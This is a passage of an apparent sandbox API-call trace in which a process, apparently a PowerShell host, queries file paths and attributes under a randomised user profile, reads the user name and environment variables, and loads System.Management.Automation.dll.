ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.522] GetLastError () returned 0xcb [0097.522] SetErrorMode (uMode=0x1) returned 0x1 [0097.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.522] GetLastError () returned 0xcb [0097.522] SetErrorMode (uMode=0x1) returned 0x1 [0097.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.522] GetLastError () returned 0xcb [0097.522] SetErrorMode (uMode=0x1) returned 0x1 [0097.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x27e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.522] GetLastError () returned 0xcb [0097.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x27e410, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.522] GetLastError () returned 0xcb [0097.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.523] GetLastError () returned 0xcb [0097.523] SetErrorMode (uMode=0x1) returned 0x1 [0097.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.523] GetLastError () returned 0xcb [0097.523] SetErrorMode (uMode=0x1) returned 0x1 [0097.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.523] GetLastError () returned 0xcb [0097.523] SetErrorMode (uMode=0x1) returned 0x1 [0097.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.523] GetLastError () returned 0xcb [0097.523] SetErrorMode (uMode=0x1) returned 0x1 [0097.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.523] GetLastError () returned 0xcb [0097.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x27e410, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.523] GetLastError () returned 0xcb [0097.523] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e46c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.523] GetLastError () returned 0xcb [0097.523] SetErrorMode (uMode=0x1) returned 0x1 [0097.523] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e8ec | out: lpFileInformation=0x27e8ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0097.524] GetLastError () returned 0xcb [0097.524] SetErrorMode (uMode=0x1) returned 0x1 [0097.524] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e46c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.524] GetLastError () returned 0xcb [0097.524] SetErrorMode (uMode=0x1) returned 0x1 [0097.524] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e8ec | out: lpFileInformation=0x27e8ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0097.524] GetLastError () returned 0xcb [0097.524] SetErrorMode (uMode=0x1) returned 0x1 [0097.524] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e480, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.524] GetLastError () returned 0xcb [0097.524] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x27e41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.524] GetLastError () returned 0xcb [0097.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x27e46c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.524] GetLastError () returned 0xcb [0097.524] SetErrorMode (uMode=0x1) returned 0x1 [0097.524] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x27e8ec | out: lpFileInformation=0x27e8ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.524] GetLastError () returned 0xcb [0097.524] SetErrorMode (uMode=0x1) returned 0x1 [0097.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x27e46c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.524] GetLastError () returned 0xcb [0097.524] SetErrorMode (uMode=0x1) returned 0x1 [0097.524] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x27e8ec | out: lpFileInformation=0x27e8ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.525] GetLastError () returned 0xcb [0097.525] SetErrorMode (uMode=0x1) returned 0x1 [0097.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x27e480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.525] GetLastError () returned 0xcb [0097.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x27e41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.525] GetLastError () returned 0xcb [0097.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e46c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.525] GetLastError () returned 0xcb [0097.525] SetErrorMode (uMode=0x1) returned 0x1 [0097.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e8ec | out: lpFileInformation=0x27e8ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.525] GetLastError () returned 0xcb [0097.525] SetErrorMode (uMode=0x1) returned 0x1 [0097.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e46c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.525] GetLastError () returned 0xcb [0097.525] SetErrorMode (uMode=0x1) returned 0x1 [0097.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e8ec | out: lpFileInformation=0x27e8ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.525] GetLastError () returned 0xcb [0097.525] SetErrorMode (uMode=0x1) returned 0x1 [0097.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.525] GetLastError () returned 0xcb [0097.525] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x27e41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.525] GetLastError () returned 0xcb [0097.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e53c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.539] GetLastError () returned 0xcb [0097.539] SetErrorMode (uMode=0x1) returned 0x1 [0097.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2c96dc4 | out: lpFileInformation=0x2c96dc4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.539] GetLastError () returned 0xcb [0097.539] SetErrorMode (uMode=0x1) returned 0x1 [0097.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e584, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.541] GetLastError () returned 0xcb [0097.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.541] GetLastError () returned 0xcb [0097.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.541] GetLastError () returned 0xcb [0097.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.541] GetLastError () returned 0xcb [0097.571] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27ead8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27ead8) returned 0x1 [0097.572] GetLastError () returned 0xcb [0097.572] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27eae0 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27eae0) returned 1 [0097.573] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2cb7a6c*="Available", lpRawData=0x2cb7928) returned 1 [0097.573] GetLastError () returned 0x0 [0097.574] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.574] GetLastError () returned 0xcb [0097.575] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.575] GetLastError () returned 0xcb [0097.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.601] GetLastError () returned 0xcb [0097.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.601] GetLastError () returned 0xcb [0097.601] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.601] GetLastError () returned 0xcb [0097.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.605] GetLastError () returned 0xcb [0097.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.605] GetLastError () returned 0xcb [0097.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.605] GetLastError () returned 0xcb [0097.605] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0097.605] GetLastError () returned 0xcb [0097.606] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.606] GetLastError () returned 0xcb [0097.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.607] GetLastError () returned 0xcb [0097.607] GetCurrentProcessId () returned 0x3d4 [0097.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.607] GetLastError () returned 0xcb [0097.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.607] GetLastError () returned 0xcb [0097.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.607] GetLastError () returned 0xcb [0097.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e548, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.607] GetLastError () returned 0xcb [0097.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.607] GetLastError () returned 0xcb [0097.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.608] GetLastError () returned 0xcb [0097.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e548, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.608] GetLastError () returned 0xcb [0097.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.608] GetLastError () returned 0xcb [0097.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.608] GetLastError () returned 0xcb [0097.608] GetFullPathNameW (in: 